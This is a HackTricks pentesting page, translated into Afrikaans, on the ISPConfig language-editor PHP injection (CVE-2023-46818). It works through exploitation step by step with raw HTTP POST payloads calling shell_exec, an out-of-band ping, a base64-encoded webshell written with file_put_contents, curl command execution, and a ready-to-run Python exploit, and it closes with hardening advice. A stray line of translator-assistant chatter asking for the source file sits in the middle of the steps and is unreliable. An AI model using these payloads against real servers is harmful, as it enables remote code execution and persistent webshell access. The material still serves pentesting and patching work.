# ISPConfig

{{#include ../../banners/hacktricks-training.md}}

## Oorsig

ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x weergawes het 'n taallêer-redigeerderfunksie gehad wat, wanneer geaktiveer vir die superbeheerder, arbitraire PHP-kode-inspuiting moontlik gemaak het deur 'n verkeerd gevormde vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation.

Belangrike standaardpade:
- Web root dikwels by `/var/www/ispconfig` wanneer dit bedien word met `php -S` of via Apache/nginx.
- Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig).

Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), forward dit:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Taalredigeerder PHP code injection (CVE-2023-46818)

- Geaffekteer: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Voorvereistes:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the verskaffer)
- Taalredigeerder moet geaktiveer wees: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impak: Geverifieerde admin kan arbitrêre PHP injekteer wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig

Verwysings: NVD entry CVE-2023-46818 and verskaffer advisory link in the References section below.

### Handmatige uitbuitingvloei

1) Open/create a language file to obtain CSRF tokens

Stuur 'n eerste POST om die vorm te inisialiseer en parseeer die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.

2) Inject PHP via records[] and save

Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimal command-execution toetse:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Out-of-band-toets (waarneming van ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Skryf lêers en plaas 'n webshell

Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-toeganklike pad (bv., `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Skryf dan 'n eenvoudige webshell wat base64 gebruik om slegte karakters in die POST body te vermy:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Ek het nie toegang tot jou lêerstelsel nie. Stuur asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md wat jy wil hê ek moet vertaal (of plak die gedeelte).
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
As PHP as root uitgevoer word (bv. via `php -S 127.0.0.1:8080` begin deur root), lewer dit onmiddellik root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker.

### Python PoC

'n gereed-vir-gebruik exploit outomatiseer token-hantering en payload-aflewering:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)

Voorbeelduitvoering:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Verharding

- Opgradeer na 3.2.11p1 of 'n later weergawe
- Skakel die taalredigeerder af tensy dit absoluut nodig is:
```
admin_allow_langedit=no
```
- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om privileges te drop
- Handhaaf sterk outentisering vir die ingeboude `admin`-rekening

## Verwysings

- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)

{{#include ../../banners/hacktricks-training.md}}